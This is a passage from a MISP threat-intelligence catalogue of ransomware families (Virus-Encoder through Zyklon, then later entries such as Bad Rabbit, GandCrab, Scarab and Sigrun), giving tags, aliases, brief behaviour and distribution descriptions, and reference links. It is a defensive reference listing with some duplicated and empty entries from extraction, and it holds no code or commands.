The tag is: misp-galaxy:ransomware="Virus-Encoder"
Virus-Encoder is also known as:

- CrySiS

Table 7775. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip">http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip</a></td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/malware/virus-encoder.html">http://www.nyxbone.com/malware/virus-encoder.html</a></td>
</tr>
</tbody>
</table>

**WildFire Locker**

Ransomware Zyklon variant

The tag is: **misp-galaxy:ransomware="WildFire Locker"**

WildFire Locker is also known as:

- Hades Locker

View relationships graph

WildFire Locker has relationships with:

- similar: **misp-galaxy:ransomware="Hades"** with **estimative-language:likelihood=likely**

Table 7776. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/">https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/wildfire-locker-ransomware-aes-256-cbc.html">https://id-ransomware.blogspot.com/2016/06/wildfire-locker-ransomware-aes-256-cbc.html</a></td>
</tr>
</tbody>
</table>

**Xorist**

Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length

The tag is: **misp-galaxy:ransomware="Xorist"**

Table 7777. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/2911">https://support.kaspersky.com/viruses/disinfection/2911</a></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/xorist">https://decrypter.emsisoft.com/xorist</a></td>
</tr>
</tbody>
</table>
XRTN
Ransomware VaultCrypt family
The tag is: misp-galaxy:ransomware="XRTN"

You Have Been Hacked!!!
Ransomware Attempt to steal passwords
The tag is: misp-galaxy:ransomware="You Have Been Hacked!!!"

Table 7778. Table References
Links
https://twitter.com/malwrhunterteam/status/808280549802418181

Zcrypt
Ransomware
The tag is: misp-galaxy:ransomware="Zcrypt"
Zcrypt is also known as:
• Zcryptor

Table 7779. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/
http://id-ransomware.blogspot.com/2016/05/zcrypt-ransomware-rsa-2048-email.html

Zimbra
Ransomware mpritsken@priest.com
The tag is: misp-galaxy:ransomware="Zimbra"

Table 7780. Table References
Links
Zlader
Ransomware VaultCrypt family

The tag is: misp-galaxy:ransomware="Zlader"

Zlader is also known as:

- Russian
- VaultCrypt
- CrypVault

View relationships graph

Zlader has relationships with:

- similar: misp-galaxy:ransomware="VaultCrypt" with estimative-language:likelihood-probability="likely"

Table 7781. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/russianRansom.html">http://www.nyxbone.com/malware/russianRansom.html</a></td>
</tr>
</tbody>
</table>

Zorro
Ransomware

The tag is: misp-galaxy:ransomware="Zorro"

Table 7782. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/844538370323812353">https://twitter.com/BleepinComputer/status/844538370323812353</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/03/zorro-ransomware.html">http://id-ransomware.blogspot.com/2017/03/zorro-ransomware.html</a></td>
</tr>
</tbody>
</table>

Zyklon
Ransomware Hidden Tear family, GNL Locker variant

The tag is: misp-galaxy:ransomware="Zyklon"

Zyklon is also known as:

- GNL Locker
- Zyklon Locker
Zyklon has relationships with:

- similar: misp-galaxy:ransomware="GNL Locker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 7783. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/zyklon-locker-ransomware-windows-250.html">http://id-ransomware.blogspot.com/2016/05/zyklon-locker-ransomware-windows-250.html</a></td>
</tr>
</tbody>
</table>

**vxLock**

Ransomware

The tag is: misp-galaxy:ransomware="vxLock"

Table 7784. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/01/vxlock-ransomware.html">https://id-ransomware.blogspot.com/2017/01/vxlock-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Jaff**

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

The tag is: misp-galaxy:ransomware="Jaff"

Table 7785. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/05/jaff-ransomware.html">http://blog.talosintelligence.com/2017/05/jaff-ransomware.html</a></td>
</tr>
</tbody>
</table>
Uiwix Ransomware

Using EternalBlue SMB Exploit To Infect Victims

The tag is: `misp-galaxy:ransomware=“Uiwix Ransomware”`

Uiwix Ransomware is also known as:

- UIWIX

Table 7786. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/05/uiwix-ransomware.html">http://id-ransomware.blogspot.com/2017/05/uiwix-ransomware.html</a></td>
</tr>
</tbody>
</table>

SOREBRECT

Fileless, Code-injecting Ransomware

The tag is: `misp-galaxy:ransomware=“SOREBRECT”`

Table 7787. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cyron

claims it detected "Children Pornsites" in your browser history

The tag is: `misp-galaxy:ransomware=“Cyron”`

Table 7788. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/899524853426008064">https://twitter.com/struppigel/status/899524853426008064</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/08/cyron-ransomware.html">https://id-ransomware.blogspot.com/2017/08/cyron-ransomware.html</a></td>
</tr>
</tbody>
</table>

Kappa

Made with OXAR builder; decryptable
The tag is: *misp-galaxy:ransomware=*"Kappa"

**Table 7789. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/899528477824700416">https://twitter.com/struppigel/status/899528477824700416</a></td>
</tr>
</tbody>
</table>

**Trojan Dz**

CyberSplitter variant

The tag is: *misp-galaxy:ransomware=*"Trojan Dz"

**Table 7790. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/899537940539478016">https://twitter.com/struppigel/status/899537940539478016</a></td>
</tr>
</tbody>
</table>

**Xolzsec**

ransomware written by self proclaimed script kiddies that should really be considered trollware

The tag is: *misp-galaxy:ransomware=*"Xolzsec"

**Table 7791. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/899916577252028416">https://twitter.com/struppigel/status/899916577252028416</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/08/xolzsec-ransomware.html">http://id-ransomware.blogspot.com/2017/08/xolzsec-ransomware.html</a></td>
</tr>
</tbody>
</table>

**FlatChestWare**

HiddenTear variant; decryptable

The tag is: *misp-galaxy:ransomware=*"FlatChestWare"

**Table 7792. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/900238572409823232">https://twitter.com/struppigel/status/900238572409823232</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/08/flatchestware-ransomware.html">https://id-ransomware.blogspot.com/2017/08/flatchestware-ransomware.html</a></td>
</tr>
</tbody>
</table>

**SynAck**

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user’s desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt
In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: `misp-galaxy:ransomware="SynAck"`

SynAck is also known as:

- Syn Ack

View relationships graph

SynAck has relationships with:

- similar: `misp-galaxy:malpedia="SynAck"` with `estimative-language:likelihood-probability="likely"`

Table 7793. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/09/synack-ransomware.html">https://id-ransomware.blogspot.com/2017/09/synack-ransomware.html</a></td>
</tr>
</tbody>
</table>

**SyncCrypt**

A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.

The tag is: `misp-galaxy:ransomware="SyncCrypt"`

View relationships graph

SyncCrypt has relationships with:

- similar: `misp-galaxy:malpedia="SyncCrypt"` with `estimative-language:likelihood-probability="likely"`

Table 7794. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/08/synccrypt-ransomware.html">http://id-ransomware.blogspot.com/2017/08/synccrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>
Bad Rabbit

On October 24, 2017, Cisco Talos was alerted to a widespread ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

The tag is: `misp-galaxy:ransomware="Bad Rabbit"`

Bad Rabbit is also known as:

- BadRabbit
- Bad-Rabbit

View relationships graph

Bad Rabbit has relationships with:

- similar: `misp-galaxy:malpedia="EternalPetya"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:tool="NotPetya"` with `estimative-language:likelihood-probability="likely"

Table 7795. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/10/badrabbit-ransomware.html">https://id-ransomware.blogspot.com/2017/10/badrabbit-ransomware.html</a></td>
</tr>
</tbody>
</table>

Halloware

A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.

The tag is: `misp-galaxy:ransomware="Halloware"`

Table 7796. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
StorageCrypt

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. Users have also reported that each share on their NAS device contains an Autorun.inf file and a Windows executable named 美女与野兽.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野兽.exe file to other computers that open the folders on the NAS devices.

The tag is: misp-galaxy:ransomware="StorageCrypt"

HC7

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. This is because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.

The tag is: misp-galaxy:ransomware="HC7"
HC6

Predecessor of HC7

The tag is: `misp-galaxy:ransomware="HC6"`

Table 7799. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw">https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw</a></td>
</tr>
</tbody>
</table>

qkG

Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.

The tag is: `misp-galaxy:ransomware="qkG"`

qkG is also known as:

• QkG

Table 7800. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file's name with the ".[support@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

The tag is: `misp-galaxy:ransomware="Scarab"`
A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contain malicious Word documents that will download and install the File Spider ransomware onto a victim's computer. File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam starts with subjects like “Potrazivanje dugovanja”, which translates to "Debt Collection" and whose message, according to Google Translate, appears to be in Serbian.

The tag is: *misp-galaxy:ransomware="File Spider"

File Spider is also known as:

- Spider

---

**File Spider**

A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contain malicious Word documents that will download and install the File Spider ransomware onto a victim's computer. File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam starts with subjects like “Potrazivanje dugovanja”, which translates to "Debt Collection" and whose message, according to Google Translate, appears to be in Serbian.

The tag is: *misp-galaxy:ransomware="File Spider"

File Spider is also known as:

- Spider
**FileCoder**

A barely functional piece of macOS ransomware, written in Swift.

The tag is: *misp-galaxy:ransomware=*"FileCoder"

FileCoder is also known as:

- FindZip
- Patcher

View relationships graph

FileCoder has relationships with:

- similar: misp-galaxy:ransomware="Patcher" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

*Table 7803. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html#FileCoder">https://objective-see.com/blog/blog_0x25.html#FileCoder</a></td>
</tr>
</tbody>
</table>

**MacRansom**

A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.

The tag is: *misp-galaxy:ransomware=*"MacRansom"

View relationships graph

MacRansom has relationships with:

- similar: misp-galaxy:malpedia="MacRansom" with estimative-language:likelihood-probability="likely"

*Table 7804. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html">https://objective-see.com/blog/blog_0x25.html</a></td>
</tr>
</tbody>
</table>

**GandCrab**

A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld.
The tag is: misp-galaxy:ransomware="GandCrab"

View relationships graph

GandCrab has relationships with:

- dropped-by: misp-galaxy:exploit-kit="Fallout" with estimative-language:likelihood-probability="almost-certain"

Table 7805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ShurL0ckr**

Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr's operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.

The tag is: misp-galaxy:ransomware="ShurL0ckr"

Table 7806. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Cryakl**

ransomware
The tag is: `misp-galaxy:ransomware="Cryakl"`

View relationships graph

Cryakl has relationships with:

- similar: `misp-galaxy:ransomware="Offline ransomware"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Cryakl"` with `estimative-language:likelihood-probability="likely"

Table 7807. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://sensorstechforum.com/fr/fairytail-files-virus-cryakl-ransomware-remov">https://sensorstechforum.com/fr/fairytail-files-virus-cryakl-ransomware-remov</a>...</td>
</tr>
<tr>
<td><a href="https://www.technologynews.tech/cryakl-ransomware-virus">https://www.technologynews.tech/cryakl-ransomware-virus</a></td>
</tr>
<tr>
<td><a href="http://www.zdnet.com/article/cryakl-ransomware-decryption-keys-now-available-for-free/">http://www.zdnet.com/article/cryakl-ransomware-decryption-keys-now-available-for-free/</a></td>
</tr>
</tbody>
</table>

**Thanatos**

First ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)

The tag is: `misp-galaxy:ransomware="Thanatos"`

View relationships graph

Thanatos has relationships with:

- similar: `misp-galaxy:malpedia="Thanatos"` with `estimative-language:likelihood-probability="likely"

Table 7808. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mobile.twitter.com/EclecticIQ/status/968478323889332226">https://mobile.twitter.com/EclecticIQ/status/968478323889332226</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2018/02/thanatos-ransomware.html">http://id-ransomware.blogspot.com/2018/02/thanatos-ransomware.html</a></td>
</tr>
</tbody>
</table>

**RSAUtil**

RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.

The tag is: `misp-galaxy:ransomware="RSAUtil"`

RSAUtil is also known as:
Qwerty Ransomware

A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim's files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victim's files, overwrite the originals, and append the .qwerty extension to an encrypted file's name.

The tag is: misp-galaxy:ransomware="Qwerty Ransomware"

Zenis Ransomware

A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.

The tag is: misp-galaxy:ransomware="Zenis Ransomware"

Flotera Ransomware

The tag is: misp-galaxy:ransomware="Flotera Ransomware"
**Black Ruby**

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and append the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine's maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: `misp-galaxy:ransomware="Black Ruby"`

Black Ruby is also known as:

- BlackRuby

**WhiteRose**

A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.

The tag is: `misp-galaxy:ransomware="WhiteRose"`
PUBG Ransomware

In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown's Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user's files and folders on the user's desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.

The tag is: `misp-galaxy:ransomware="PUBG Ransomware"`

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don't take much time preparing the attack or the payload. Instead, they're rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: `misp-galaxy:ransomware="LockCrypt"`

Magniber Ransomware

Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.
**Magniber Ransomware**

Table 7817. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1005133410501787648">https://twitter.com/demonslay335/status/1005133410501787648</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/10/my-decryptor-ransomware.html">http://id-ransomware.blogspot.com/2017/10/my-decryptor-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Vurten**

The tag is: *misp-galaxy:ransomware=*"Vurten"

Table 7818. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/siri_urz/status/981191281195044867">https://twitter.com/siri_urz/status/981191281195044867</a></td>
</tr>
</tbody>
</table>

**Reveton ransomware**

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.

The tag is: *misp-galaxy:ransomware=*"Reveton ransomware"

Table 7819. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Ransomware#Reveton">https://en.wikipedia.org/wiki/Ransomware#Reveton</a></td>
</tr>
</tbody>
</table>

**Fusob**

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about
56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.

The tag is: misp-galaxy:ransomware="Fusob"

Table 7820. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**OXAR**

The tag is: misp-galaxy:ransomware="OXAR"

Table 7821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/981270787905720320">https://twitter.com/demonslay335/status/981270787905720320</a></td>
</tr>
</tbody>
</table>

**BansomQare Manna Ransomware**

The tag is: misp-galaxy:ransomware="BansomQare Manna Ransomware"

Table 7822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Haxerboi Ransomware**

The tag is: misp-galaxy:ransomware="Haxerboi Ransomware"

**SkyFile**

The tag is: misp-galaxy:ransomware="SkyFile"

Table 7823. Table References
**MC Ransomware**

Supposed joke ransomware, decrypt when running an executable with the string "Minecraft"

The tag is: `misp-galaxy:ransomware="MC Ransomware"`

**CSGO Ransomware**

Supposed joke ransomware, decrypt when running an executable with the string "csgo"

The tag is: `misp-galaxy:ransomware="CSGO Ransomware"`

**XiaoBa ransomware**

The tag is: `misp-galaxy:ransomware="XiaoBa ransomware"`
NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

The tag is: misp-galaxy:ransomware="NMCRYPT Ransomware"

Table 7827. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/">https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/</a></td>
</tr>
<tr>
<td><a href="https://www.enigmasoftware.com/nmcryptansomware-removal/">https://www.enigmasoftware.com/nmcryptansomware-removal/</a></td>
</tr>
</tbody>
</table>

Iron

It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families: Maktub (payment portal design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)

The tag is: misp-galaxy:ransomware="Iron"

Table 7828. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html">https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html</a></td>
</tr>
</tbody>
</table>

Tron ransomware

The tag is: misp-galaxy:ransomware="Tron ransomware"

Table 7829. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/985152346773696512">https://twitter.com/malwrhunterteam/status/985152346773696512</a></td>
</tr>
</tbody>
</table>

Unnamed ransomware 1

A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles
an embedded encrypted C# program at runtime and launches it directly into memory.

The tag is: *misp-galaxy:ransomware"Unnamed ransomware 1"

Table 7830. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**HPE iLO 4 Ransomware**

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim’s payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.

The tag is: *misp-galaxy:ransomware="HPE iLO 4 Ransomware"

Table 7831. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><a href="https://twitter.com/M_Shahpasandi/status/989157283799162880">https://twitter.com/M_Shahpasandi/status/989157283799162880</a></td>
</tr>
</tbody>
</table>

**Sigrun Ransomware**

When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

The tag is: *misp-galaxy:ransomware="Sigrun Ransomware"

Table 7832. Table References

| Links | |
|-------| |
|       | |

5144
**CryBrazil**

Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to OpsVenezuela?

The tag is: *misp-galaxy:ransomware=*“CryBrazil”*

**Pedcont**

new destructive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.

The tag is: *misp-galaxy:ransomware=*“Pedcont”*

**DiskDoctor**

new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT

The tag is: *misp-galaxy:ransomware=*“DiskDoctor”*

DiskDoctor is also known as:

- Scarab-DiskDoctor
RedEye

